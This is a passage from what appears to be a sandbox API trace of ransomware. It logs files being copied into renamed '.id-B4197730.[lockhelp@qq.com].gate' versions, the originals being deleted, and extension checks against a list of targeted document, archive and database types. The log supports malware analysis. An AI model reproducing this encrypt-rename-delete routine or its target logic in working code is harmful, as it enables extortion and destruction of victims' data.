dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0111.284] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0111.284] GetLastError () returned 0x0 [0111.284] ReadFile (in: hFile=0x330, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x1510c, lpOverlapped=0x0) returned 1 [0111.305] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x15110, lpOverlapped=0x0) returned 1 [0111.308] ReadFile (in: hFile=0x330, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0111.308] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0111.308] SetEndOfFile (hFile=0x30c) returned 1 [0111.308] CloseHandle (hObject=0x30c) returned 1 [0111.325] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0111.325] SetEndOfFile (hFile=0x330) returned 1 [0111.326] CloseHandle (hObject=0x330) returned 1 [0111.326] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.814] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0111.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.815] lstrlenW (lpString=".doc") returned 4 [0111.815] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.815] lstrlenW (lpString=".docx") returned 5 [0111.815] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.815] lstrlenW (lpString=".pdf") returned 4 [0111.815] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.815] lstrlenW (lpString=".xls") returned 4 [0111.815] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.815] lstrlenW (lpString=".xlsx") returned 5 [0111.815] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.815] lstrlenW (lpString=".ppt") returned 4 [0111.815] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.815] lstrlenW (lpString=".zip") returned 4 [0111.815] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.815] lstrlenW (lpString=".rar") returned 4 [0111.815] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.815] lstrlenW (lpString=".bz2") returned 4 [0111.815] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.815] lstrlenW (lpString=".7z") returned 3 [0111.815] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.815] lstrlenW (lpString=".dbf") returned 4 [0111.815] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.815] lstrlenW (lpString=".1cd") returned 4 [0111.815] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.815] lstrlenW (lpString=".jpg") returned 4 [0111.815] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.816] lstrlenW (lpString=".doc") returned 4 [0111.816] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.816] lstrlenW (lpString=".docx") returned 5 [0111.816] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.816] lstrlenW (lpString=".pdf") returned 4 [0111.816] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.816] lstrlenW (lpString=".xls") returned 4 [0111.816] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.816] lstrlenW (lpString=".xlsx") returned 5 [0111.816] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.816] lstrlenW (lpString=".ppt") returned 4 [0111.816] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.816] lstrlenW (lpString=".zip") returned 4 [0111.816] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.816] lstrlenW (lpString=".rar") returned 4 [0111.816] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.816] lstrlenW (lpString=".bz2") returned 4 [0111.816] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.816] lstrlenW (lpString=".7z") returned 3 [0111.816] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.816] lstrlenW (lpString=".dbf") returned 4 [0111.816] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.816] lstrlenW (lpString=".1cd") returned 4 [0111.816] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0111.816] lstrlenW (lpString=".jpg") returned 4 [0111.817] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.817] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0111.817] lstrlenW (lpString="LocalizedData.xml") returned 17 [0111.817] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0111.817] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=82962) returned 1 [0111.817] CloseHandle (hObject=0x340) returned 1 [0111.817] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0111.817] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.817] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0111.817] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0111.817] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0111.818] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0111.818] GetLastError () returned 0x0 [0111.818] ReadFile (in: hFile=0x340, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x14412, lpOverlapped=0x0) returned 1 [0112.263] WriteFile (in: hFile=0x344, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x14420, lpOverlapped=0x0) returned 1 [0112.265] ReadFile (in: hFile=0x340, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0112.265] WriteFile (in: hFile=0x344, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0112.266] SetEndOfFile (hFile=0x344) returned 1 [0112.266] CloseHandle (hObject=0x344) returned 1 [0112.268] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0112.268] SetEndOfFile (hFile=0x340) returned 1 [0112.270] CloseHandle (hObject=0x340) returned 1 [0112.270] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.270] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0112.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.270] lstrlenW (lpString=".doc") returned 4 [0112.270] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.270] lstrlenW (lpString=".docx") returned 5 [0112.270] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0112.271] lstrlenW (lpString=".pdf") returned 4 [0112.271] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.271] lstrlenW (lpString=".xls") returned 4 [0112.271] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.271] lstrlenW (lpString=".xlsx") returned 5 [0112.271] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0112.271] lstrlenW (lpString=".ppt") returned 4 [0112.271] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.271] lstrlenW (lpString=".zip") returned 4 [0112.271] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.271] lstrlenW (lpString=".rar") returned 4 [0112.271] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.271] lstrlenW (lpString=".bz2") returned 4 [0112.271] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.271] lstrlenW (lpString=".7z") returned 3 [0112.271] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.271] lstrlenW (lpString=".dbf") returned 4 [0112.271] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.271] lstrlenW (lpString=".1cd") returned 4 [0112.271] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.271] lstrlenW (lpString=".jpg") returned 4 [0112.271] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.272] lstrlenW (lpString=".doc") returned 4 [0112.272] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.272] lstrlenW (lpString=".docx") returned 5 [0112.272] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0112.272] lstrlenW (lpString=".pdf") returned 4 [0112.272] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.272] lstrlenW (lpString=".xls") returned 4 [0112.272] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.272] lstrlenW (lpString=".xlsx") returned 5 [0112.272] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0112.272] lstrlenW (lpString=".ppt") returned 4 [0112.272] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.272] lstrlenW (lpString=".zip") returned 4 [0112.272] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.272] lstrlenW (lpString=".rar") returned 4 [0112.272] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.272] lstrlenW (lpString=".bz2") returned 4 [0112.272] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.272] lstrlenW (lpString=".7z") returned 3 [0112.272] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.272] lstrlenW (lpString=".dbf") returned 4 [0112.272] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.272] lstrlenW (lpString=".1cd") returned 4 [0112.272] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0112.273] lstrlenW (lpString=".jpg") returned 4 [0112.273] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.273] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0112.273] lstrlenW (lpString="eula.rtf") returned 8 [0112.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0112.274] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=3546) returned 1 [0112.274] CloseHandle (hObject=0x340) returned 1 [0112.274] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0112.274] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0112.274] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0112.274] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0112.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0112.274] GetLastError () returned 0x0 [0112.274] ReadFile (in: hFile=0x340, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0xdda, lpOverlapped=0x0) returned 1 [0112.437] WriteFile (in: hFile=0x344, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xde0, lpOverlapped=0x0) returned 1 [0112.438] ReadFile (in: hFile=0x340, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0112.438] WriteFile (in: hFile=0x344, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0112.438] SetEndOfFile (hFile=0x344) returned 1 [0112.439] CloseHandle (hObject=0x344) returned 1 [0112.439] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0112.439] SetEndOfFile (hFile=0x340) returned 1 [0112.440] CloseHandle (hObject=0x340) returned 1 [0112.440] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.441] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0112.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.441] lstrlenW (lpString=".doc") returned 4 [0112.441] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.442] lstrlenW (lpString=".docx") returned 5 [0112.442] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.442] lstrlenW (lpString=".pdf") returned 4 [0112.442] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.442] lstrlenW (lpString=".xls") returned 4 [0112.442] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.442] lstrlenW (lpString=".xlsx") returned 5 [0112.442] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.442] lstrlenW (lpString=".ppt") returned 4 [0112.442] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.442] lstrlenW (lpString=".zip") returned 4 [0112.442] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.442] lstrlenW (lpString=".rar") returned 4 [0112.442] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.442] lstrlenW (lpString=".bz2") returned 4 [0112.442] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.442] lstrlenW (lpString=".7z") returned 3 [0112.442] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.442] lstrlenW (lpString=".dbf") returned 4 [0112.442] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.442] lstrlenW (lpString=".1cd") returned 4 [0112.442] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.442] lstrlenW (lpString=".jpg") returned 4 [0112.443] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.443] lstrlenW (lpString=".doc") returned 4 [0112.443] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.443] lstrlenW (lpString=".docx") returned 5 [0112.443] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.443] lstrlenW (lpString=".pdf") returned 4 [0112.443] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.443] lstrlenW (lpString=".xls") returned 4 [0112.443] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.443] lstrlenW (lpString=".xlsx") returned 5 [0112.443] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.443] lstrlenW (lpString=".ppt") returned 4 [0112.443] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.443] lstrlenW (lpString=".zip") returned 4 [0112.443] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.443] lstrlenW (lpString=".rar") returned 4 [0112.443] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.443] lstrlenW (lpString=".bz2") returned 4 [0112.443] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.443] lstrlenW (lpString=".7z") returned 3 [0112.443] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.444] lstrlenW (lpString=".dbf") returned 4 [0112.444] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.444] lstrlenW (lpString=".1cd") returned 4 [0112.444] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0112.444] lstrlenW (lpString=".jpg") returned 4 [0112.444] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.444] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0112.444] lstrlenW (lpString="LocalizedData.xml") returned 17 [0112.444] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0112.444] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=79296) returned 1 [0112.444] CloseHandle (hObject=0x340) returned 1 [0112.445] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0112.445] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.445] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0112.445] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0112.445] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0112.445] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0112.445] GetLastError () returned 0x0 [0112.445] ReadFile (in: hFile=0x340, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x135c0, lpOverlapped=0x0) returned 1 [0113.065] WriteFile (in: hFile=0x344, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x135d0, lpOverlapped=0x0) returned 1 [0113.069] ReadFile (in: hFile=0x340, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0113.069] WriteFile (in: hFile=0x344, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.070] SetEndOfFile (hFile=0x344) returned 1 [0113.070] CloseHandle (hObject=0x344) returned 1 [0113.071] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.072] SetEndOfFile (hFile=0x340) returned 1 [0113.073] CloseHandle (hObject=0x340) returned 1 [0113.073] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.073] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0113.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.073] lstrlenW (lpString=".doc") returned 4 [0113.073] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.073] lstrlenW (lpString=".docx") returned 5 [0113.073] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.073] lstrlenW (lpString=".pdf") returned 4 [0113.073] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.073] lstrlenW (lpString=".xls") returned 4 [0113.073] lstrcmpiW (lpString1=".xls", 